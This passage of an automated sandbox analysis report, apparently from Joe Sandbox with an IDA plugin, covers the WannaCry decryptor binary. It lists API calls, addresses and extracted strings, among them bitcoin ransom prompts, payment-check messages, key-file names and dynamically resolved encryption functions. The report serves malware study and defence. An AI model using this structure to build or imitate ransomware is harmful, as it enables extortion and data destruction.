#924.MFC42(?,00000000,?,You have a new message:), ref: 0040189C
#1200.MFC42 ref: 004018AF
#800.MFC42 ref: 004018BF
#800.MFC42 ref: 004018D3
#1200.MFC42(You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday.,000000F0,00000000), ref: 004018E5
rand.MSVCRT ref: 00401903
#1200.MFC42(Congratulations! Your payment has been checked!Start decrypting now!,00000040,00000000), ref: 00401939

Strings

Congratulations! Your payment has been checked!Start decrypting now!, xrefs: 00401934
Failed to check your payment!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!, xrefs: 00401918
%08X.dky, xrefs: 0040180A
You have a new message:, xrefs: 00401877
You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday., xrefs: 004018E0, 00401925

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004012E0, Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 202

APIs

sprintf.MSVCRT ref: 00401323
sprintf.MSVCRT ref: 00401339
GetFileAttributesA.KERNEL32(?), ref: 00401343
DeleteFileA.KERNEL32(?), ref: 0040139A
fopen.MSVCRT ref: 004013D5
fread.MSVCRT ref: 00401405
fclose.MSVCRT ref: 00401408
sprintf.MSVCRT ref: 00401440
fopen.MSVCRT ref: 00401453
fread.MSVCRT ref: 00401481
fclose.MSVCRT ref: 00401484
sprintf.MSVCRT ref: 004014C1
fopen.MSVCRT ref: 004014D4
fread.MSVCRT ref: 00401502
fclose.MSVCRT ref: 00401507

Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BE9C
Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEAD
Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEBE

Part of subcall function 0040C240: SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2B6
Part of subcall function 0040C240: SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2E3
Part of subcall function 0040C240: SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C3B7
Part of subcall function 0040C240: SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C3EE
Part of subcall function 0040C240: SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C427
Part of subcall function 0040C240: fopen.MSVCRT ref: 0040C46B
Part of subcall function 0040C240: fwrite.MSVCRT ref: 0040C489
Part of subcall function 0040C240: fclose.MSVCRT ref: 0040C48F
Part of subcall function 0040C240: SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C4A9

Part of subcall function 00404640: InitializeCriticalSection.KERNEL32(?,?,0040158C), ref: 00404658

Part of subcall function 004047C0: CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200), ref: 004048DB
Part of subcall function 004047C0: _local_unwind2.MSVCRT ref: 004048EB
Part of subcall function 004047C0: CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?), ref: 00404920
Part of subcall function 004047C0: strncmp.MSVCRT(00000000,?), ref: 00404951
Part of subcall function 004047C0: _local_unwind2.MSVCRT ref: 00404964

Part of subcall function 00404690: DeleteCriticalSection.KERNEL32(?,004015D8), ref: 0040469A

Strings

%08X.res, xrefs: 0040143A
%08X.pky, xrefs: 0040131D
%08X.eky, xrefs: 004014BB
00000000.res, xrefs: 004013CE
s.wnry, xrefs: 0040151B
%08X.dky, xrefs: 00401333

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004076A0, Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 239

APIs

time.MSVCRT ref: 004076DA
sprintf.MSVCRT ref: 0040780E

Part of subcall function 00405180: _mbscmp.MSVCRT ref: 00405191
Part of subcall function 00405180: #860.MFC42(?), ref: 004051A1
Part of subcall function 00405180: RedrawWindow.USER32(?,00000000,00000000,00000121), ref: 004051DE
Part of subcall function 00405180: InvalidateRect.USER32(?,00000000,00000001), ref: 004051F2

SendMessageA.USER32(?,00000402,?,00000000), ref: 0040785B
SendMessageA.USER32(?,00000402,?,00000000), ref: 00407870
#540.MFC42 ref: 00407876
_ftol.MSVCRT ref: 004078AA
#2818.MFC42(?,$%d,00000000), ref: 004078BE
#2818.MFC42(?,Send $%d worth of bitcoin to this address:,00000000), ref: 004078D1
#2818.MFC42(?,%.1f BTC,?,?), ref: 004078F5
#2818.MFC42(?,Send %.1f BTC to this address:,?,?), ref: 00407909
#3092.MFC42(00000402,?), ref: 0040791D
#6199.MFC42(00000402,?), ref: 00407924
InvalidateRect.USER32(?,00000000,00000001), ref: 0040795A
#800.MFC42 ref: 0040799F

Strings

%.1f BTC, xrefs: 004078EF
%02d;%02d;%02d;%02d, xrefs: 00407808
Send %.1f BTC to this address:, xrefs: 00407903
00;00;00;00, xrefs: 004076E8
$%d, xrefs: 004078B8
Send $%d worth of bitcoin to this address:, xrefs: 004078CB

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004060E0, Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 139

APIs

#324.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406107
#567.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406117
#567.MFC42(00000066,00000000), ref: 0040612F
#567.MFC42(00000066,00000000), ref: 00406147

Part of subcall function 004085C0: #567.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085E2
Part of subcall function 004085C0: #341.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085F6
Part of subcall function 004085C0: GetSysColor.USER32 ref: 0040861D
Part of subcall function 004085C0: GetSysColor.USER32(00000009), ref: 00408624
Part of subcall function 004085C0: GetSysColor.USER32(00000012), ref: 0040862B
Part of subcall function 004085C0: GetSysColor.USER32(00000002), ref: 00408632
Part of subcall function 004085C0: SystemParametersInfoA.USER32(00001008,00000000,00000000,00000000), ref: 0040864A
Part of subcall function 004085C0: GetSysColor.USER32(0000001B), ref: 0040865C
Part of subcall function 004085C0: #6140.MFC42(00000002,000000FF), ref: 00408667

Part of subcall function 00404090: #567.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040B0
Part of subcall function 00404090: #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040C6
Part of subcall function 00404090: #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040D5
Part of subcall function 00404090: #860.MFC42(00421798), ref: 004040F6
Part of subcall function 00404090: #858.MFC42(00000000,00421798), ref: 004040FE
Part of subcall function 00404090: LoadCursorA.USER32(00000000,00007F89), ref: 00404118
Part of subcall function 00404090: LoadCursorA.USER32(00000000,00007F00), ref: 00404123

Part of subcall function 00405000: #567.MFC42(?,?,?,?,00413893,000000FF), ref: 0040501E
Part of subcall function 00405000: #540.MFC42(?,?,?,?,00413893,000000FF), ref: 00405032

#567.MFC42(00000066,00000000), ref: 004061DF
#540.MFC42(00000066,00000000), ref: 004061F7
#540.MFC42(00000066,00000000), ref: 00406209
#540.MFC42(00000066,00000000), ref: 00406219
#540.MFC42(00000066,00000000), ref: 00406229
#860.MFC42(00421798,00000066,00000000), ref: 004062F7
#860.MFC42(00421798,00421798,00000066,00000000), ref: 00406303
#860.MFC42(00421798,00421798,00421798,00000066,00000000), ref: 00406313
#1168.MFC42(00421798,00421798,00421798,00000066,00000000), ref: 00406318
#1146.MFC42(00000080,0000000E,00000080,00421798,00421798,00421798,00000066,00000000), ref: 00406329
LoadIconA.USER32(00000000,00000080), ref: 0040632F
#860.MFC42(00421798), ref: 00406358

Strings

0ZA, xrefs: 004062B1
0ZA, xrefs: 004062DB
0ZA, xrefs: 004062CB
DZA, xrefs: 0040622E

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00405E10, Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 144

APIs

#2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E4F
#2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E71
#2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E93
#2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405EB5

Part of subcall function 00403F20: #2414.MFC42(?,?,?,004136B8,000000FF,00403F08), ref: 00403F4B

#2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405F2F
#2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405F93
#800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FA9
#800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FB9
#800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FC9
#800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FD9
#781.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FE9

Part of subcall function 004050A0: #800.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050CE
Part of subcall function 004050A0: #795.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050DD

Part of subcall function 00404170: #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
Part of subcall function 00404170: #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1

#654.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406066
#765.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406072

Part of subcall function 00405D90: #654.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DBE
Part of subcall function 00405D90: #765.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DCD

#609.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406092
#609.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060A2
#616.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060AF
#641.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060BE

Strings

#, xrefs: 00406061

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004032C0, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 114

APIs

#4710.MFC42 ref: 004032C5
CreateSolidBrush.GDI32(?), ref: 004032DC
#1641.MFC42(00000000), ref: 004032E9
CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00403316
#1641.MFC42(00000000), ref: 0040331F
#3092.MFC42(00000408,00000000), ref: 0040332B
SendMessageA.USER32(?,00000030,?,00000001), ref: 0040334A
#3092.MFC42(00000409), ref: 00403353
SendMessageA.USER32(?,00000030,?,00000001), ref: 0040336C
#3092.MFC42(00000002), ref: 00403372
SendMessageA.USER32(?,00000030,?,00000001), ref: 0040338B
#3092.MFC42(0000040E), ref: 00403394
SendMessageA.USER32(?,00000030,?,00000001), ref: 004033A9

Part of subcall function 00403CB0: FindFirstFileA.KERNEL32(*.res,?), ref: 00403CCA
Part of subcall function 00403CB0: sscanf.MSVCRT ref: 00403D26
Part of subcall function 00403CB0: fopen.MSVCRT ref: 00403D45
Part of subcall function 00403CB0: fread.MSVCRT ref: 00403D69
Part of subcall function 00403CB0: sprintf.MSVCRT ref: 00403D99
Part of subcall function 00403CB0: SendMessageA.USER32(?,00000143,00000000,?), ref: 00403DDB
Part of subcall function 00403CB0: #823.MFC42(00000088), ref: 00403DE4
Part of subcall function 00403CB0: SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00403E0B
Part of subcall function 00403CB0: fclose.MSVCRT ref: 00403E16
Part of subcall function 00403CB0: FindNextFileA.KERNEL32(?,00000010), ref: 00403E2C
Part of subcall function 00403CB0: FindClose.KERNEL32(?), ref: 00403E3B

SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 004033C2
#3996.MFC42(00000000,Path,00000000,000000FF,000000FF), ref: 004033D4
SendMessageA.USER32(?,0000101E,00000000,000001F4), ref: 004033EC

Strings

Path, xrefs: 004033CA
Arial, xrefs: 004032EE

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00406AE0, Relevance: 29.8, APIs: 14, Strings: 3, Instructions: 78

APIs

#540.MFC42(?,767AAD28), ref: 00406B03
#3874.MFC42 ref: 00406B1B
#537.MFC42(msg\), ref: 00406B29
#924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406B41
sprintf.MSVCRT ref: 00406B59
#800.MFC42(?,?,767AAD28), ref: 00406B62
#800.MFC42 ref: 00406B73
GetFileAttributesA.KERNEL32(?), ref: 00406B7D
#537.MFC42(msg\), ref: 00406B91
#924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406BA9
sprintf.MSVCRT ref: 00406BBB
#800.MFC42(?,?,?,?,?,767AAD28), ref: 00406BC4
#800.MFC42 ref: 00406BD5

Part of subcall function 00406CF0: SendMessageA.USER32(?,00000445,00000000,04000000), ref: 00406D2C
Part of subcall function 00406CF0: #353.MFC42(?,00000000,?,?,?,?,?,?,?,?,?,?,767AAD28), ref: 00406D39
Part of subcall function 00406CF0: SendMessageA.USER32 ref: 00406D69
Part of subcall function 00406CF0: #1979.MFC42 ref: 00406D6F
Part of subcall function 00406CF0: #665.MFC42 ref: 00406D87

#800.MFC42(?), ref: 00406BF5

Strings

msg\, xrefs: 00406B20, 00406B88
m_%s.wnry, xrefs: 00406B2E, 00406B96
English, xrefs: 00406BB0

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00402C40, Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 72

APIs

Part of subcall function 00404B70: LoadLibraryA.KERNEL32(advapi32.dll), ref: 00404B86
Part of subcall function 00404B70: GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,00402C46), ref: 00404BA3
Part of subcall function 00404B70: GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,00402C46), ref: 00404BB0
Part of subcall function 00404B70: GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,00402C46), ref: 00404BBD
Part of subcall function 00404B70: GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,00402C46), ref: 00404BCA
Part of subcall function 00404B70: GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,00402C46), ref: 00404BD7
Part of subcall function 00404B70: GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,00402C46), ref: 00404BE4

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00402C63
GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00402C80
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00402C8D
GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00402C9A
GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00402CA7
GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 00402CB4
GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 00402CC1
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00402CCE

Strings

CreateFileW, xrefs: 00402C7A
ReadFile, xrefs: 00402C8F
kernel32.dll, xrefs: 00402C5E
CloseHandle, xrefs: 00402CC3
MoveFileW, xrefs: 00402C9C
WriteFile, xrefs: 00402C82
MoveFileExW, xrefs: 00402CA9
DeleteFileW, xrefs: 00402CB6

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00405580, Relevance: 27.2, APIs: 18, Instructions: 187

APIs

GetClientRect.USER32(?,?), ref: 004055A9
#470.MFC42 ref: 004055D0
#1168.MFC42 ref: 00405605
#8.COMCTL32(?,?,00000000,00FFB53F,00000003), ref: 0040561A
#323.MFC42 ref: 0040562A
CreateCompatibleDC.GDI32(?), ref: 0040564C
#1640.MFC42(00000000), ref: 00405657
#2860.MFC42(00000000,00000000), ref: 0040565D
#5785.MFC42(?,00000000,00000000,00000000), ref: 0040566F
CreateSolidBrush.GDI32(?), ref: 00405686
FillRect.USER32(?,?,00000000), ref: 0040569E
BitBlt.GDI32(?,00000000,?,?,?,?,?,?,00CC0020), ref: 0040570B
#5785.MFC42(?,?), ref: 00405782
#2405.MFC42(?,?), ref: 0040578B
DeleteObject.GDI32(?), ref: 0040579B
DeleteObject.GDI32(?), ref: 004057A2
#640.MFC42 ref: 004057B0
#755.MFC42 ref: 004057C4

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00408D70, Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 257

APIs

GetDeviceCaps.GDI32(?,00000026), ref: 00408EA3
GetDeviceCaps.GDI32(?,0000000C), ref: 00408EC2
GetDeviceCaps.GDI32(?,0000000E), ref: 00408ECE
_ftol.MSVCRT ref: 00408F60
_ftol.MSVCRT ref: 00408F7F
_ftol.MSVCRT ref: 00408FD0
_ftol.MSVCRT ref: 00408FE9
_ftol.MSVCRT ref: 00409005
CreateSolidBrush.GDI32(00000000), ref: 00409024
#1641.MFC42(00000000), ref: 0040902F
FillRect.USER32(?,00000000,DZA), ref: 0040905E
#2414.MFC42 ref: 00409068
#2754.MFC42(00000000,?,?,?,00000000), ref: 00409086
#2414.MFC42 ref: 004090CA

Strings

DZA, xrefs: 0040904E, 00409058

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00401600, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 120

APIs

#537.MFC42(Received response), ref: 00401634
#2385.MFC42 ref: 00401653
#537.MFC42(Succeed), ref: 0040166F
#2385.MFC42(?,?,?,Succeed), ref: 00401684
#537.MFC42(Sent request), ref: 0040169F
SendMessageA.USER32(?,00000402,00000023,?), ref: 004016BA
#2385.MFC42 ref: 004016D3
#537.MFC42(Connected), ref: 004016F5

Part of subcall function 00401970: #3092.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 00401997
Part of subcall function 00401970: #6199.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 0040199E
Part of subcall function 00401970: #800.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 004019AF

SendMessageA.USER32(?,00000402,0000001E,?), ref: 00401710
#2385.MFC42 ref: 00401729
#2385.MFC42(?,?,?), ref: 0040174C

Strings

Sent request, xrefs: 0040169A
Connected, xrefs: 004016F0
Succeed, xrefs: 0040166A
Received response, xrefs: 0040162F

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00404DD0, Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 89

APIs

#4710.MFC42 ref: 00404DD5
CreateSolidBrush.GDI32(?), ref: 00404DE9
#1641.MFC42(00000000), ref: 00404DF3
CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00404E1D
#1641.MFC42(00000000), ref: 00404E26
#3092.MFC42(00000403,00000000), ref: 00404E32
SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E51
#3092.MFC42(00000001), ref: 00404E57
SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E70
#3092.MFC42(00000002), ref: 00404E76
SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E88
SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E9F

Strings

Arial, xrefs: 00404DF8

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00411CF0, Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 450

APIs

Part of subcall function 00410A50: SetFilePointer.KERNELBASE(?,?,00000000,00000000,00410CA4,?,00000000,00000002,00000000,?,00000000,FFFFFFFF,?), ref: 00410A79
Part of subcall function 00410A50: SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00410CA4,?,00000000,00000002,00000000,?,00000000,FFFFFFFF,?), ref: 00410A9B

#823.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411E5B

Part of subcall function 00410AF0: ReadFile.KERNEL32(000000FF,00000404,ZA,00000404,00000000), ref: 00410B18

#825.MFC42(00000000), ref: 00411E84
_mbsstr.MSVCRT ref: 00411F04
_mbsstr.MSVCRT ref: 00411F1B
_mbsstr.MSVCRT ref: 00411F32
_mbsstr.MSVCRT ref: 00411F49

Part of subcall function 00411B80: SystemTimeToFileTime.KERNEL32(?,?), ref: 00411BE6

LocalFileTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00412078
#825.MFC42(?,?,?,?,?,?,?,?,?,?,?), ref: 004121FB

Part of subcall function 00411AC0: free.MSVCRT(?,?,?,?,00411D27,?,?,?,00000000), ref: 00411B03
Part of subcall function 00411AC0: free.MSVCRT(?,?,?,?,00411D27,?,?,?,00000000), ref: 00411B32

Strings

/../, xrefs: 00411F2C
\../, xrefs: 00411F15
\..\, xrefs: 00411EFE
/..\, xrefs: 00411F43

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040BAF0, Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 301

APIs

Part of subcall function 0040C8F0: #823.MFC42(00000018,0040BB62,00000000,00000000), ref: 0040C8F2

strtok.MSVCRT ref: 0040BBA9

Part of subcall function 0040C7B0: #825.MFC42(?,00000000,0040BBD1,00000000,00000000,00000000), ref: 0040C7D7

Part of subcall function 0040C920: ?_Xlen@std@@YAXXZ.MSVCP60(00000001,?,0040BBE8,00000000,?,00000000,00000000,00000000), ref: 0040C92D

Part of subcall function 0040C800: #823.MFC42(00000018,00000000,00000000,00000001,?,0040BC08), ref: 0040C80F

strtok.MSVCRT ref: 0040BC22
#825.MFC42(?,?), ref: 0040BCDD
GetTickCount.KERNEL32(?,00000000,00000000), ref: 0040BCEC
srand.MSVCRT ref: 0040BCF3
rand.MSVCRT ref: 0040BD09

Part of subcall function 0040CE50: #825.MFC42(?,?,0040BD9E,00000000,?,?,?,00000000,00000000), ref: 0040CE6F
Part of subcall function 0040CE50: #825.MFC42(00000008,?,0040BD9E,00000000,?,?,?,00000000,00000000), ref: 0040CE95

#825.MFC42(00000000,00000000,?,?,?,00000000,00000000), ref: 0040BD9F
Sleep.KERNEL32(00000BB8,00000000,?,?,?,00000000,00000000), ref: 0040BDB5

Part of subcall function 0040C860: #825.MFC42(?,00000000,00000428,00422214,00000000,0040BDE8,?,?,?), ref: 0040C8A3
Part of subcall function 0040C860: #825.MFC42(?,00000000,00000428,00422214,00000000,0040BDE8,?,?,?), ref: 0040C8B5

#825.MFC42(?,?,?,?), ref: 0040BDED
#825.MFC42(?), ref: 0040BE7A

Part of subcall function 0040C740: #825.MFC42(?,00422214,?,00000000,0040BE6F,?,?,?,00000000), ref: 0040C776
Part of subcall function 0040C740: #825.MFC42(?,00422214,?,00000000,0040BE6F,?,?,?,00000000), ref: 0040C794

Strings

@k, xrefs: 0040BB1C, 0040BD79

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

